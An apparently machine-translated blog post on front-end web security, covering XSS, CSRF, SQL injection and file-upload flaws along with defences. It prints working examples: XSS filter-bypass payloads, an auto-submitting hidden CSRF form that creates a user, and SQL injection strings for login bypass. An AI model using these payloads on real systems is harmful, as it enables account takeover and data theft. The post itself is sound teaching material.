I Love ReactJS

Analysis on the Security Strategy of Web Front end

recently, in the process of promotion in the department, I encountered a question and answer session about front-end security, and I felt that I was lack of knowledge. Here is a summary of my learning experience. This paper summarizes the security strategies that you need to master as a front-end engineer.

XSS

XSS (Cross Site Scripting) is called a cross-site scripting attack, which uses the privileges of the logged-in user to inject a script into the page to fake the user's request backend.

scenario of being attacked

use

attack type

XSS script is hidden in the connection, and after deceiving the user to click, it will execute the hacker's script, or take advantage of the loophole in the blog site to enter the attack script in the input box and trigger the user to click or access passively.

XSS scripts (for example: & lt;script>alert (document.cookie) & lt;/script> ) are stored on the server, such as online blogs, and the hacker script is executed every time the data is read from the server or when the user is induced to click after rendering.

an example of storage + reflection is as follows:

when you fill in the form and save it, when you open it for editing again, there will be not only a value field in the input, but also an additional onckick event. Each time you click on the input box, alert will be triggered.

is similar to reflectivity, but changes the DOM tree structure of the current HTML, such as the script let str = document.getElementById ("text"). Value; document.getElementById ("dom"). InnerHTML = "& lt;a href='" + str+ "& gt; you jumped to the address I entered!? & lt;/a>"

case

the attack mode is reflective: a script is added to the Weibo access path: https://weibo.com/xx/xx/yy"><script src= "attack script address" & gt;

the attack is stored: an article was published in which some js code was hidden in the article, which bypassed the security shield by superb means:

Use js in

  1. style: & lt;div style= "width: expression (alert ('xss))" & gt; / / IE
  2. fragments of line breaks bypass the javascript keyword mask:
<a href='java
script: alert('xss')
'>
  1. Bypass quotation marks masking:
String.fromCharCode(34)  // "

use the above code to indicate a double quotation mark, thus bypassing the check of mixing single and double quotation marks.

4. Bypass the mask of innerHTML:

document.body['inner' + 'HTML'] = 'XSS'

defensive measures

  1. filter characters

prepare a character set to filter, but the disadvantage is that it is easy to be bypassed as in the case above.

for example, kses , provides a large and comprehensive whitelist to use.

  1. escape character

processes and stores anything entered by the user as a normal escape string.

for example, htmlspecialchars , StringEscapeUtils.unescapeHtml4 function, frontend template rendering technology, JSX, etc.

CSRF

CSRF (Cross-site request forgery) is called a cross-site request forgery attack. By falsifying the request of the user's browser, the attacker sends it to visit a website that the user has authenticated to visit, so that the target website receives and mistakenly thinks that it is the real operation of the user and executes the command. The attack scenario is similar to XSS, except that a script needs to be injected and a legitimate user request is disguised.

attack type

induce the user to click on an unknown link, which will carry a request of the same origin as the user logging in to the system, thus achieving the purpose of disguising the user's request to the server.

post requests generally cannot achieve their purpose through simple url. Their parameters are placed in requestBody, and there will also be information such as cookie.

you can write a form form at this time:

<iframe name="frame" style="displat: none"></iframe>

<form target="frame" method="post" action="url of the service address to be attacked">
    <input name="action" value="createUser">
    <input name="user" value="xss">
    <input name="password" value="xxxsss">
    <input name="email" value="xxoo@xss.com">
    <input type="submit" id="submit" />
</form>

<script>
    document.querySelector('#submit').click();
</script>

then set an unknown link in the browser and click on it to access the form.

defensive measures

the defense principle is that the url of a forged request is different from that of a legitimate request.

the server verifies the referer of the request to determine whether the domain name that sent the request is a legitimate source.

token is usually a long string of unique strings randomly composed of login information and timestamp. This token does not exist for requests simulated in other websites.

SQL injection

deceive the server to execute the SQL by injecting the SQL command into the form or input box.

case

attack mode

without knowing the correct password, executing the following sql will find the correct user information:

select * from users where user='dudu' and pass='abc' or (1=1 and user='dudu') --"

therefore, if the server is only a simple string concatenation for password checking, just type:

in the password box

abc' or (1=1 and user='dudu') --"

after clicking login at this time, you can bypass password verification.

most page searches are fuzzy queries:

title like '%name%'

We can enter:

in the search box

name'/**/or/**/1=1/**/#'

the above input comments all subsequent sql and invalidates the query condition.

defensive measures

for high-risk operations related to the creation and deletion of the system database, set up a super administrator to avoid the intrusion of ordinary users.

File upload vulnerability

means that the executable script file is uploaded using the Windows file naming convention, and the ability to execute server commands is obtained through the script file.

cause of vulnerability

attack mode

illegal upload is done through some intermediate tools (such as fiddler).

defensive measures

when uploading files, you usually create a new temp folder and make it unexecutable, so that the uploaded files will not be executed even if the suffix changes.

at this point, the a.php:a.jpg file becomes xxxxx.jpg instead of a.php

Project practice

here are the security processing practices used in a specific development business.

  1. when using dangerouslySetInnerHTML and InnerHTML , make sure that the input is immutable defined by the front end, and user-defined input is strictly prohibited.
  2. The

  3. query parameter needs to be parsed and displayed as a transfer string
  4. use Token user information verification to directly prohibit Http requests from carrying Cookie
  5. set HttpOnly for Cookies fields of login and security authentication
  6. use the XSS library to filter incoming parameters
  1. login verification uses the Token request header, and the front and rear ends do not pass Cookie
  2. Form form submission using Post submission
  3. restrict third-party requests, such as self-deployment of third-party libraries and images
  1. use the database model Gorm and Sequelize to process database statements
  2. query user information without Get method, and authentication must be added to the interface
  3. strictly limit and verify the parameters of database query statement splicing
Exit mobile version